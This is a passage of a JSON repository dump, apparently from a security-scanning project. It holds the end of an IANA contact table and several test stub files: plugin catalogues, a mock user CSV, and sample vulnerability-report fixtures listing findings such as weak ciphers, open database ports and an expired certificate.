<td>\n              <a name=\"Jim_Humphreys\" id=\"Jim_Humphreys\">[Jim_Humphreys]</a>\n            </td>\n            <td>Jim Humphreys</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:jhumphre&amp;ciena.com\">mailto:jhumphre&amp;ciena.com</a>\n            </td>\n            <td>2008-01-29</td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Kazuhito_Gassho\" id=\"Kazuhito_Gassho\">[Kazuhito_Gassho]</a>\n            </td>\n            <td>Kazuhito Gassho</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:Gassho.Kasuhito&amp;exc.epson.co.jp\">mailto:Gassho.Kasuhito&amp;exc.epson.co.jp</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Randall_Stewart\" id=\"Randall_Stewart\">[Randall_Stewart]</a>\n            </td>\n            <td>Randall Stewart</td>\n            <td>IETF TSVWG</td>\n            <td>\n              <a href=\"mailto:rrs&amp;lakerest.net\">mailto:rrs&amp;lakerest.net</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Simon_J_Gerraty\" id=\"Simon_J_Gerraty\">[Simon_J_Gerraty]</a>\n            </td>\n            <td>Simon J. Gerraty</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:sjg&amp;quick.com.au\">mailto:sjg&amp;quick.com.au</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Tatu_Ylonen\" id=\"Tatu_Ylonen\">[Tatu_Ylonen]</a>\n            </td>\n            <td>Tatu Ylonen</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:ylo&amp;cs.hut.fi\">mailto:ylo&amp;cs.hut.fi</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Ville_Laurikari\" id=\"Ville_Laurikari\">[Ville_Laurikari]</a>\n            </td>\n            <td>Ville Laurikari</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:vlaurika&amp;ssh.com\">mailto:vlaurika&amp;ssh.com</a>\n            </td>\n            <td>2005-08</td>\n          </tr>\n        </tbody>\n      </table>\n    </article>\n    <footer>\n      <div>\n        <a href=\"https://www.iana.org/help/licensing-terms\">Licensing Terms</a>\n      </div>\n    </footer>\n  </body>\n</html>\n"
  },
  {
    "path": "rocky/tests/stubs/katalogus_boefjes.json",
    "content": "[\n  {\n    \"id\": \"binaryedge\",\n    \"name\": \"BinaryEdge\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": \"Use BinaryEdge to find open ports with vulnerabilities that are found on that port\",\n    \"enabled\": true,\n    \"type\": \"boefje\",\n    \"scan_level\": 2,\n    \"consumes\": [\n      \"IPAddressV6\",\n      \"IPAddressV4\"\n    ],\n    \"options\": null,\n    \"produces\": [\n      \"KATFindingType\",\n      \"SoftwareInstance\",\n      \"Service\",\n      \"IPPort\",\n      \"Finding\",\n      \"Software\",\n      \"IPService\",\n      \"CVEFindingType\"\n    ]\n  },\n  {\n    \"id\": \"ssl-certificates\",\n    \"name\": \"SSLCertificates\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": \"Scan SSL certificates of websites\",\n    \"enabled\": false,\n    \"type\": \"boefje\",\n    \"scan_level\": 1,\n    \"consumes\": [\n      \"Website\"\n    ],\n    \"options\": null,\n    \"produces\": [\n      \"X509Certificate\"\n    ]\n  },\n  {\n    \"id\": \"ssl-version\",\n    \"name\": \"SSLScan\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": \"Scan SSL/TLS versions of websites\",\n    \"enabled\": false,\n    \"type\": \"boefje\",\n    \"scan_level\": 2,\n    \"consumes\": [\n      \"Website\"\n    ],\n    \"options\": null,\n    \"produces\": [\n      \"KATFindingType\",\n      \"Finding\"\n    ]\n  },\n  {\n    \"id\": \"wp-scan\",\n    \"name\": \"WPScantest\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": \"Scan wordpress sites\",\n    \"enabled\": false,\n    \"type\": \"boefje\",\n    \"scan_level\": 2,\n    \"consumes\": [\n      \"SoftwareInstance\"\n    ],\n    \"options\": null,\n    \"produces\": [\n      \"Finding\",\n      \"CVEFindingType\"\n    ]\n  }\n]\n"
  },
  {
    "path": "rocky/tests/stubs/katalogus_normalizers.json",
    "content": "[\n  {\n    \"id\": \"kat_adr_finding_types_normalize\",\n    \"name\": \"Adr Finding Types Normalize\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": null,\n    \"enabled\": true,\n    \"type\": \"normalizer\",\n    \"consumes\": [\n      \"adr-finding-types\",\n      \"normalizer/kat_adr_finding_types_normalize\"\n    ],\n    \"produces\": [\n      \"ADRFindingType\"\n    ]\n  },\n  {\n    \"id\": \"adr-validator\",\n    \"name\": \"adr-validator\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": null,\n    \"enabled\": true,\n    \"type\": \"normalizer\",\n    \"consumes\": [\n      \"adr-validator\",\n      \"normalizer/adr-validator\"\n    ],\n    \"produces\": [\n      \"APIDesignRule\",\n      \"APIDesignRuleResult\",\n      \"ADRFindingType\",\n      \"Finding\"\n    ]\n  },\n  {\n    \"id\": \"kat_answer_parser\",\n    \"name\": \"kat_answer_parser\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": null,\n    \"enabled\": true,\n    \"type\": \"normalizer\",\n    \"consumes\": [\n      \"answer\",\n      \"normalizer/kat_answer_parser\"\n    ],\n    \"produces\": [\n      \"Config\"\n    ]\n  },\n  {\n    \"id\": \"kat_binaryedge_containers\",\n    \"name\": \"kat_binaryedge_containers\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": null,\n    \"enabled\": true,\n    \"type\": \"normalizer\",\n    \"consumes\": [\n      \"binaryedge\",\n      \"normalizer/kat_binaryedge_containers\"\n    ],\n    \"produces\": [\n      \"KATFindingType\",\n      \"SoftwareInstance\",\n      \"Service\",\n      \"IPPort\",\n      \"Finding\",\n      \"Software\",\n      \"IPService\",\n      \"CVEFindingType\"\n    ]\n  },\n  {\n    \"id\": \"kat_binaryedge_databases\",\n    \"name\": \"kat_binaryedge_databases\",\n    \"version\": null,\n    \"created\": null,\n    \"description\": null,\n    \"enabled\": true,\n    \"type\": \"normalizer\",\n    \"consumes\": [\n      \"binaryedge\",\n      \"normalizer/kat_binaryedge_databases\"\n    ],\n    \"produces\": [\n      \"KATFindingType\",\n      \"SoftwareInstance\",\n      \"Service\",\n      \"IPPort\",\n      \"Finding\",\n      \"Software\",\n      \"IPService\",\n      \"CVEFindingType\"\n    ]\n  }\n]\n"
  },
  {
    "path": "rocky/tests/stubs/mock.csv",
    "content": "full_name,email,account_type,trusted_clearance_level,acknowledged_clearance_level\ntest user,c@c.nl,clients,2,2\ntest user,d@c.nl,redteam,1,4\ntest userr,d@a.nl,redteam,1,4\nuserr,a@b.dl,admin,0,2\nuserr,a.dl,admin,0,2\nuserr,a@b.ul,admin,0,9\nuserr,a@b.ml,admin,-3,3\n"
  },
  {
    "path": "rocky/tests/stubs/multi_report_data_minvws.json",
    "content": "{\n  \"systems\": {\n    \"services\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|minvws.nl\"\n        ],\n        \"services\": [\n          \"Web\"\n        ]\n      },\n      \"IPAddressV6|internet|2001:4860:4860::8888\": {\n        \"hostnames\": [\n          \"Hostname|internet|minvws.nl\"\n        ],\n        \"services\": []\n      }\n    }\n  },\n  \"basic_security\": {\n    \"safe_connections\": {\n      \"Web\": {\n        \"number_of_available\": 0,\n        \"sc_ips\": {\n          \"1.1.1.1\": [\n            {\n              \"description\": \"Ciphers are used that are labeled as bad. These should not be used anymore\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 6.9,\n              \"risk_severity\": \"medium\",\n              \"source\": \"https://wiki.mozilla.org/Security/Server_Side_TLS\",\n              \"recommendation\": \"It is recommended to only use ciphers labelled as 'good'. Check https://cipherlist.eu/ for safe ciphers.\",\n              \"id\": \"KAT-MEDIUM-BAD-CIPHER\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"Weak or insecure ciphers may result in loss of confidentiality and integrity of data through decryption.\",\n              \"primary_key\": \"KATFindingType|KAT-MEDIUM-BAD-CIPHER\"\n            }\n          ]\n        },\n        \"number_of_ips\": 1\n      }\n    },\n    \"summary\": {\n      \"Web\": {\n        \"safe_connections\": {\n          \"number_of_compliant\": 0,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 1,\n          \"ips\": {\n            \"IPAddressV4|internet|1.1.1.1\": [\n              {\n                \"description\": \"This hostname does not have a Security.txt file.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": \"None\",\n                \"risk_severity\": \"recommendation\",\n                \"source\": \"None\",\n                \"recommendation\": \"Make sure there is a security.txt available.\",\n                \"id\": \"KAT-NO-SECURITY-TXT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"None\",\n                \"primary_key\": \"KATFindingType|KAT-NO-SECURITY-TXT\"\n              }\n            ]\n          },\n          \"checks\": {\n            \"Certificate is not expired\": 1,\n            \"CSP Present\": 1,\n            \"Offers HTTPS\": 1,\n            \"No unnecessary ports open\": 1,\n            \"Has a Security.txt\": 1,\n            \"Has a certificate\": 1,\n            \"Redirects HTTP to HTTPS\": 1,\n            \"Secure CSP Header\": 1,\n            \"Certificate is not expiring soon\": 1\n          },\n          \"total\": 1\n        },\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      }\n    },\n    \"system_specific\": {\n      \"DNS\": [],\n      \"Mail\": [],\n      \"Web\": [\n        {\n          \"input_ooi\": \"Hostname|internet|minvws.nl\",\n          \"finding_types\": [\n            {\n              \"description\": \"This hostname does not have a Security.txt file.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": \"None\",\n              \"risk_severity\": \"recommendation\",\n              \"source\": \"None\",\n              \"recommendation\": \"Make sure there is a security.txt available.\",\n              \"id\": \"KAT-NO-SECURITY-TXT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"None\",\n              \"primary_key\": \"KATFindingType|KAT-NO-SECURITY-TXT\"\n            }\n          ],\n          \"web_checks\": {\n            \"checks\": [\n              {\n                \"redirects_http_https\": true,\n                \"has_security_txt\": true,\n                \"offers_https\": true,\n                \"has_certificates\": true,\n                \"no_uncommon_ports\": true,\n                \"has_csp\": true,\n                \"certificates_not_expired\": true,\n                \"has_no_csp_vulnerabilities\": true,\n                \"certificates_not_expiring_soon\": true\n              }\n            ]\n          }\n        }\n      ]\n    },\n    \"rpki\": {\n      \"Web\": {\n        \"number_of_compliant\": 2,\n        \"rpki_ips\": {\n          \"1.1.1.1\": {\n            \"valid\": true,\n            \"exists\": true\n          },\n          \"2001:4860:4860::8888\": {\n            \"valid\": true,\n            \"exists\": true\n          }\n        },\n        \"number_of_available\": 2,\n        \"number_of_ips\": 2,\n        \"number_of_valid\": 2\n      }\n    }\n  },\n  \"open_ports\": {\n    \"1.1.1.1\": {\n      \"hostnames\": [\n        \"minvws.nl\"\n      ],\n      \"ports\": {\n        \"443\": true,\n        \"80\": true\n      },\n      \"services\": {\n        \"443\": [\n          \"https\"\n        ],\n        \"80\": [\n          \"http\"\n        ]\n      }\n    },\n    \"2001:4860:4860::8888\": {\n      \"hostnames\": [\n        \"minvws.nl\"\n      ],\n      \"ports\": {},\n      \"services\": {}\n    }\n  },\n  \"input_data\": {\n    \"plugins\": {\n      \"optional\": [\n        \"nmap-ip-range\",\n        \"masscan\",\n        \"nmap-udp\",\n        \"nmap-ports\",\n        \"shodan\"\n      ],\n      \"required\": [\n        \"nmap\",\n        \"security_txt_downloader\",\n        \"webpage-analysis\",\n        \"dns-sec\",\n        \"testssl-sh-ciphers\",\n        \"dns-records\",\n        \"ssl-certificates\",\n        \"rpki\",\n        \"ssl-version\"\n      ]\n    },\n    \"report_types\": [\n      \"ipv6-report\",\n      \"mail-report\",\n      \"name-server-report\",\n      \"open-ports-report\",\n      \"rpki-report\",\n      \"safe-connections-report\",\n      \"systems-report\",\n      \"vulnerability-report\",\n      \"web-system-report\"\n    ],\n    \"input_oois\": [\n      \"Hostname|internet|minvws.nl\"\n    ]\n  },\n  \"recommendation_counts\": {\n    \"It is recommended to only use ciphers labelled as 'good'. Check https://cipherlist.eu/ for safe ciphers.\": 1,\n    \"Make sure there is a security.txt available.\": 1\n  },\n  \"summary\": {\n    \"IPs scanned\": 2,\n    \"Hostnames scanned\": 1,\n    \"Terms in report\": \"Web\",\n    \"Critical vulnerabilities\": 0\n  },\n  \"config_oois\": [],\n  \"ipv6\": {\n    \"minvws.nl\": {\n      \"systems\": [\n        \"Web\"\n      ],\n      \"enabled\": true\n    }\n  },\n  \"total_systems_basic_security\": 0,\n  \"total_hostnames\": 1,\n  \"health\": [\n    {\n      \"service\": \"rocky\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"octopoes\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"xtdb\",\n      \"healthy\": true,\n      \"version\": \"1.24.4\",\n      \"additional\": {\n        \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n        \"revision\": \"b46e92df67699cb25f3b21a61742c79da564b3b0\",\n        \"consumerState\": \"None\",\n        \"size\": 47131394,\n        \"estimateNumKeys\": 123591,\n        \"version\": \"1.24.4\",\n        \"indexVersion\": 22\n      },\n      \"results\": []\n    },\n    {\n      \"service\": \"katalogus\",\n      \"healthy\": true,\n      \"version\": \"0.0.1-development\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"scheduler\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"bytes\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    }\n  ],\n  \"total_systems\": 2,\n  \"total_findings\": 0,\n  \"recommendations\": [\n    \"It is recommended to only use ciphers labelled as 'good'. Check https://cipherlist.eu/ for safe ciphers.\",\n    \"Make sure there is a security.txt available.\"\n  ],\n  \"vulnerabilities\": {\n    \"IPAddressV4|internet|1.1.1.1\": {\n      \"hostnames\": \"(minvws.nl)\",\n      \"title\": \"1.1.1.1\",\n      \"summary\": {\n        \"total_criticals\": 0,\n        \"terms\": [],\n        \"total_findings\": 0,\n        \"recommendations\": []\n      },\n      \"vulnerabilities\": {}\n    },\n    \"IPAddressV6|internet|2001:4860:4860::8888\": {\n      \"hostnames\": \"(minvws.nl)\",\n      \"title\": \"2001:4860:4860::8888\",\n      \"summary\": {\n        \"total_criticals\": 0,\n        \"terms\": [],\n        \"total_findings\": 0,\n        \"recommendations\": []\n      },\n      \"vulnerabilities\": {}\n    }\n  },\n  \"services\": {\n    \"Web\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|minvws.nl\"\n        ],\n        \"services\": [\n          \"Web\"\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/tests/stubs/multi_report_data_mispoes.json",
    "content": "{\n  \"systems\": {\n    \"services\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|mispo.es\"\n        ],\n        \"services\": [\n          \"DNS\",\n          \"Other\",\n          \"Web\"\n        ]\n      }\n    }\n  },\n  \"basic_security\": {\n    \"safe_connections\": {\n      \"DNS\": {\n        \"number_of_available\": 1,\n        \"sc_ips\": {\n          \"1.1.1.1\": []\n        },\n        \"number_of_ips\": 1\n      },\n      \"Web\": {\n        \"number_of_available\": 1,\n        \"sc_ips\": {\n          \"1.1.1.1\": []\n        },\n        \"number_of_ips\": 1\n      },\n      \"Other\": {\n        \"number_of_available\": 1,\n        \"sc_ips\": {\n          \"1.1.1.1\": []\n        },\n        \"number_of_ips\": 1\n      }\n    },\n    \"summary\": {\n      \"DNS\": {\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 0,\n          \"ips\": {\n            \"IPAddressV4|internet|1.1.1.1\": [\n              {\n                \"description\": \"A database port is open.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 8.9,\n                \"risk_severity\": \"high\",\n                \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n                \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \",\n                \"id\": \"KAT-OPEN-DATABASE-PORT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"Databases should never be reachable from the internet, but only from secured internal networks. This will reduce unauthorized access.\",\n                \"primary_key\": \"KATFindingType|KAT-OPEN-DATABASE-PORT\"\n              },\n              {\n                \"description\": \"A known system administration port is open.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 6.9,\n                \"risk_severity\": \"medium\",\n                \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n                \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\",\n                \"id\": \"KAT-OPEN-SYSADMIN-PORT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"System administrator ports should only be reachable from safe and known locations to reduce attack surface.\",\n                \"primary_key\": \"KATFindingType|KAT-OPEN-SYSADMIN-PORT\"\n              },\n              {\n                \"description\": \"The provided domain does not have DNSSEC enabled.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 6.9,\n                \"risk_severity\": \"medium\",\n                \"source\": \"https://www.dns-school.org/Documentation/dnssec_howto.pdf\",\n                \"recommendation\": \"Enable DNSSEC on your name servers.\",\n                \"id\": \"KAT-NO-DNSSEC\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"DNS requests are not authenticated, thus there is no protection against DNS poisoning or manipulation.\",\n                \"primary_key\": \"KATFindingType|KAT-NO-DNSSEC\"\n              }\n            ]\n          },\n          \"checks\": {\n            \"DNSSEC Present\": 0,\n            \"Valid DNSSEC\": 0,\n            \"No unnecessary ports open\": 0\n          },\n          \"total\": 1\n        },\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      },\n      \"Web\": {\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 0,\n          \"ips\": {\n            \"IPAddressV4|internet|1.1.1.1\": [\n              {\n                \"description\": \"TLS certificate has expired\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 10.0,\n                \"risk_severity\": \"critical\",\n                \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.5\",\n                \"recommendation\": \"Replace the certificate with a valid one.\",\n                \"id\": \"KAT-CERTIFICATE-EXPIRED\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"Expired certificates could result in compromise of confidentiality and integrity of clients that connect to the service.\",\n                \"primary_key\": \"KATFindingType|KAT-CERTIFICATE-EXPIRED\"\n              },\n              {\n                \"description\": \"A database port is open.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 8.9,\n                \"risk_severity\": \"high\",\n                \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n                \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \",\n                \"id\": \"KAT-OPEN-DATABASE-PORT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"Databases should never be reachable from the internet, but only from secured internal networks. This will reduce unauthorized access.\",\n                \"primary_key\": \"KATFindingType|KAT-OPEN-DATABASE-PORT\"\n              },\n              {\n                \"description\": \"A known system administration port is open.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": 6.9,\n                \"risk_severity\": \"medium\",\n                \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n                \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\",\n                \"id\": \"KAT-OPEN-SYSADMIN-PORT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"System administrator ports should only be reachable from safe and known locations to reduce attack surface.\",\n                \"primary_key\": \"KATFindingType|KAT-OPEN-SYSADMIN-PORT\"\n              },\n              {\n                \"description\": \"This hostname does not have a Security.txt file.\",\n                \"object_type\": \"KATFindingType\",\n                \"risk_score\": \"None\",\n                \"risk_severity\": \"recommendation\",\n                \"source\": \"None\",\n                \"recommendation\": \"Make sure there is a security.txt available.\",\n                \"id\": \"KAT-NO-SECURITY-TXT\",\n                \"user_id\": \"None\",\n                \"scan_profile\": \"None\",\n                \"impact\": \"None\",\n                \"primary_key\": \"KATFindingType|KAT-NO-SECURITY-TXT\"\n              }\n            ]\n          },\n          \"checks\": {\n            \"Certificate is not expired\": 0,\n            \"CSP Present\": 1,\n            \"Offers HTTPS\": 1,\n            \"No unnecessary ports open\": 0,\n            \"Has a Security.txt\": 0,\n            \"Has a certificate\": 1,\n            \"Redirects HTTP to HTTPS\": 1,\n            \"Secure CSP Header\": 1,\n            \"Certificate is not expiring soon\": 1\n          },\n          \"total\": 1\n        },\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      },\n      \"Other\": {\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 0,\n          \"ips\": {},\n          \"checks\": {},\n          \"total\": 0\n        },\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      }\n    },\n    \"system_specific\": {\n      \"DNS\": [\n        {\n          \"name_server_checks\": {\n            \"checks\": [\n              {\n                \"has_dnssec\": false,\n                \"has_valid_dnssec\": false,\n                \"no_uncommon_ports\": false\n              }\n            ]\n          },\n          \"input_ooi\": \"Hostname|internet|mispo.es\",\n          \"finding_types\": [\n            {\n              \"description\": \"A database port is open.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 8.9,\n              \"risk_severity\": \"high\",\n              \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n              \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \",\n              \"id\": \"KAT-OPEN-DATABASE-PORT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"Databases should never be reachable from the internet, but only from secured internal networks. This will reduce unauthorized access.\",\n              \"primary_key\": \"KATFindingType|KAT-OPEN-DATABASE-PORT\"\n            },\n            {\n              \"description\": \"A known system administration port is open.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 6.9,\n              \"risk_severity\": \"medium\",\n              \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n              \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\",\n              \"id\": \"KAT-OPEN-SYSADMIN-PORT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"System administrator ports should only be reachable from safe and known locations to reduce attack surface.\",\n              \"primary_key\": \"KATFindingType|KAT-OPEN-SYSADMIN-PORT\"\n            },\n            {\n              \"description\": \"The provided domain does not have DNSSEC enabled.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 6.9,\n              \"risk_severity\": \"medium\",\n              \"source\": \"https://www.dns-school.org/Documentation/dnssec_howto.pdf\",\n              \"recommendation\": \"Enable DNSSEC on your name servers.\",\n              \"id\": \"KAT-NO-DNSSEC\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"DNS requests are not authenticated, thus there is no protection against DNS poisoning or manipulation.\",\n              \"primary_key\": \"KATFindingType|KAT-NO-DNSSEC\"\n            }\n          ]\n        }\n      ],\n      \"Mail\": [],\n      \"Web\": [\n        {\n          \"input_ooi\": \"Hostname|internet|mispo.es\",\n          \"finding_types\": [\n            {\n              \"description\": \"TLS certificate has expired\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 10.0,\n              \"risk_severity\": \"critical\",\n              \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.5\",\n              \"recommendation\": \"Replace the certificate with a valid one.\",\n              \"id\": \"KAT-CERTIFICATE-EXPIRED\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"Expired certificates could result in compromise of confidentiality and integrity of clients that connect to the service.\",\n              \"primary_key\": \"KATFindingType|KAT-CERTIFICATE-EXPIRED\"\n            },\n            {\n              \"description\": \"A database port is open.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 8.9,\n              \"risk_severity\": \"high\",\n              \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n              \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \",\n              \"id\": \"KAT-OPEN-DATABASE-PORT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"Databases should never be reachable from the internet, but only from secured internal networks. This will reduce unauthorized access.\",\n              \"primary_key\": \"KATFindingType|KAT-OPEN-DATABASE-PORT\"\n            },\n            {\n              \"description\": \"A known system administration port is open.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": 6.9,\n              \"risk_severity\": \"medium\",\n              \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n              \"recommendation\": \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\",\n              \"id\": \"KAT-OPEN-SYSADMIN-PORT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"System administrator ports should only be reachable from safe and known locations to reduce attack surface.\",\n              \"primary_key\": \"KATFindingType|KAT-OPEN-SYSADMIN-PORT\"\n            },\n            {\n              \"description\": \"This hostname does not have a Security.txt file.\",\n              \"object_type\": \"KATFindingType\",\n              \"risk_score\": \"None\",\n              \"risk_severity\": \"recommendation\",\n              \"source\": \"None\",\n              \"recommendation\": \"Make sure there is a security.txt available.\",\n              \"id\": \"KAT-NO-SECURITY-TXT\",\n              \"user_id\": \"None\",\n              \"scan_profile\": \"None\",\n              \"impact\": \"None\",\n              \"primary_key\": \"KATFindingType|KAT-NO-SECURITY-TXT\"\n            }\n          ],\n          \"web_checks\": {\n            \"checks\": [\n              {\n                \"redirects_http_https\": true,\n                \"has_security_txt\": false,\n                \"offers_https\": true,\n                \"has_certificates\": true,\n                \"no_uncommon_ports\": false,\n                \"has_csp\": true,\n                \"certificates_not_expired\": false,\n                \"has_no_csp_vulnerabilities\": true,\n                \"certificates_not_expiring_soon\": true\n              }\n            ]\n          }\n        }\n      ]\n    },\n    \"rpki\": {\n      \"DNS\": {\n        \"number_of_compliant\": 1,\n        \"rpki_ips\": {\n          \"1.1.1.1\": {\n            \"valid\": true,\n            \"exists\": true\n          }\n        },\n        \"number_of_available\": 1,\n        \"number_of_ips\": 1,\n        \"number_of_valid\": 1\n      },\n      \"Web\": {\n        \"number_of_compliant\": 1,\n        \"rpki_ips\": {\n          \"1.1.1.1\": {\n            \"valid\": true,\n            \"exists\": true\n          }\n        },\n        \"number_of_available\": 1,\n        \"number_of_ips\": 1,\n        \"number_of_valid\": 1\n      },\n      \"Other\": {\n        \"number_of_compliant\": 1,\n        \"rpki_ips\": {\n          \"1.1.1.1\": {\n            \"valid\": true,\n            \"exists\": true\n          }\n        },\n        \"number_of_available\": 1,\n        \"number_of_ips\": 1,\n        \"number_of_valid\": 1\n      }\n    }\n  },\n  \"open_ports\": {\n    \"1.1.1.1\": {\n      \"hostnames\": [\n        \"mispo.es\"\n      ],\n      \"ports\": {\n        \"3306\": true,\n        \"53\": true,\n        \"443\": true,\n        \"22\": true,\n        \"80\": true\n      },\n      \"services\": {\n        \"3306\": [\n          \"mysql\"\n        ],\n        \"53\": [\n          \"domain\"\n        ],\n        \"443\": [\n          \"https\"\n        ],\n        \"22\": [\n          \"ssh\"\n        ],\n        \"80\": [\n          \"http\"\n        ]\n      }\n    }\n  },\n  \"input_data\": {\n    \"plugins\": {\n      \"optional\": [\n        \"masscan\",\n        \"nmap-ports\",\n        \"shodan\",\n        \"nmap-ip-range\",\n        \"nmap-udp\"\n      ],\n      \"required\": [\n        \"nmap\",\n        \"ssl-certificates\",\n        \"dns-records\",\n        \"webpage-analysis\",\n        \"testssl-sh-ciphers\",\n        \"dns-sec\",\n        \"ssl-version\",\n        \"security_txt_downloader\",\n        \"rpki\"\n      ]\n    },\n    \"report_types\": [\n      \"ipv6-report\",\n      \"mail-report\",\n      \"name-server-report\",\n      \"open-ports-report\",\n      \"rpki-report\",\n      \"safe-connections-report\",\n      \"systems-report\",\n      \"vulnerability-report\",\n      \"web-system-report\"\n    ],\n    \"input_oois\": [\n      \"Hostname|internet|mispo.es\"\n    ]\n  },\n  \"recommendation_counts\": {\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \": 2,\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\": 2,\n    \"Replace the certificate with a valid one.\": 1,\n    \"Enable DNSSEC on your name servers.\": 1,\n    \"Make sure there is a security.txt available.\": 1\n  },\n  \"summary\": {\n    \"IPs scanned\": 1,\n    \"Hostnames 